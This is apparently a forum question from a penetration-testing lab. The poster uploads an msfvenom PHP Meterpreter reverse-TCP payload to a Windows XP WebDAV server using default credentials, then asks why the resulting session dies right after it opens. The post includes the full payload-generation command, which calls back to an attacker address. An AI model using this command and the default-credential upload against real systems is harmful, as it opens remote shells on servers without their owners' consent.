I'm trying to exploit webdav by uploading a msfvenom generated php script to the target webdav server on windows xp machine using the default credentials - wampp(username), xampp(password).
The command for generating the payload is:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.7 LPORT=123 -f raw > meta.php
Now, in msfconsole, I used multi/handler auxiliary module and set the payload, LHOST and LPORT to same as above.
But after running the module with exploit command and opening http://192.168.0.6/webdav/meta.php/ (meta.php is the name of the payload I've created) in the attack machine (which is Kali linux), in the msfconsole, it's showing:
Meterpreter session 1 opened (192.168.0.7:123 -> 192.168.0.6:1279) at 2020-08-25 20:04:48 +0530 192.168.0.6 - Meterpreter session 1 closed. Reason: Died
Why the session is closing or dying? I've tried multiple times but got the same results.